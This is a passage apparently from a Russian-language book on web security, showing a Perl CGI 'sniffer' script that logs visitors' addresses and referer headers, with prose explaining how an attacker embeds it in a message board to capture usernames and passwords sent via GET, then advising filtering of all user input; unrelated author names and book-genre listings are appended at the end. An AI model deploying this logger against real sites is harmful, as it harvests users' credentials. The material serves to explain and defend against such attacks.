#!/usr/bin/perl
$log = "snifflog.txt";
$now_string = localtime;
@thetime = split(/ +/,$now_string);
@theclock = split(/:/,$thetime[3]);
$ampm = ’am’;
if ($theclock[0] > 11)
{ $ampm = ’pm’; }
if ($theclock[0] == 0)
{ $theclock[0] = 12; }
if ($theclock[0] > 12)
{ $theclock[0] -= 12; }
else
{ $theclock[0] += 0; }
$lnum=$ENV{’QUERY_STRING’};
open (DB, "$log") || die "Can’t Open $log: $!\n";
flock(DB, 2);
@line=
flock(DB, 8);
close(DB);
$value = $ENV{’HTTP_REFERER’};
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ".
$ENV{’REMOTE_ADDR’}." ".$ENV{’REMOTE_HOST’}." ".$ENV{’HTTP_X_FORWARDED_FOR’}."
[".$value."]";
$maxline=@line;
$maxline=30 if ($maxline>30);
open (DB, ">$log") || die "Can’t Open $log: $!\n";
flock(DB, 2);
print DB ("$line0\n");
for ($i=0; $i<$maxline; $i++)
{
print DB ("$line[$i]");
}
flock(DB, 8);
close(DB);
print "Location: http://somehost/somepic.gif\n\n";Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида (либо просто установит у себя на машине Web-сервер, вставит код
и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web-чаты до сих пор имеют этот недостаток. Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида
color"><
Вильям Л Саймон , Вильям Саймон , Наталья Владимировна Макеева , Нора Робертс , Юрий Викторович Щербатых
Зарубежная компьютерная, околокомпьютерная литература / ОС и Сети, интернет / Короткие любовные романы / Психология / Прочая справочная литература / Образование и наука / Книги по IT / Словари и Энциклопедии